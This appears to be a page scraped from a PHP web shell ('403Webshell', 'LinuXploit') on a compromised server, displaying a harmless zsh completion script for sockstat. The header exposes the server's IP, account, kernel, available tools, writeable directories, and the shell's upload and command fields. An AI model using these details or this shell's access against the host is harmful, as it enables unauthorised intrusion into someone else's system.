403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/zsh/functions/Completion/BSD/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/zsh/functions/Completion/BSD/_sockstat
#compdef sockstat
local -a args protocols
local proto

case $OSTYPE in
  *bsd*)
    args=(
      '-4[show AF_INET (IPv4) sockets]'
      '-6[show AF_INET6 (IPv6) sockets]'
      '-c[show connected sockets]'
      '-l[show listening sockets]'
      '*-p+[specify port number]:port numbers (comma delimited)'
      '-u[show AF_LOCAL (UNIX) sockets]'
    )
  ;|
  freebsd<12->.*)
    args+=(
      '-S[display the protocol stack if applicable]'
      '-U[display the remote UDP encapsulation port number if applicable]'
      '-v[verbose mode]'
      '-w[use wider field size for displaying addresses]'
    )
  ;|
  freebsd*)
    for proto in ${${(M)${(f)"$(</etc/protocols)"}##[a-z0-9]*}}; do
      case $proto in
        *\#*)
          protocols+=(${${${(j: :)${(q)=proto}}// *\# /\[}/%/\]})
        ;;
        *)
          protocols+=(${${(j: :)${=proto}}// */})
      esac
    done

    args+=(
      '*-j[show sockets belonging to JID]: : _jails -0 -o jid'
      '-L[exclude loopback]'
      '*-P+[specify protocol]: : _values -s , protocols $protocols'
      '-s[display protocol state if applicable]'
    )
  ;;
  netbsd*)
    args+=(
      '*-f+[only show specified address family]:address family:(inet inet6 local unix)'
      '-n[no symbolic names for addresses/ports]'
    )
  ;;
esac

if (( $#args )); then
  _arguments -s -w : $args
  return
fi

_default

Youez - 2016 - github.com/yon3zu
LinuXploit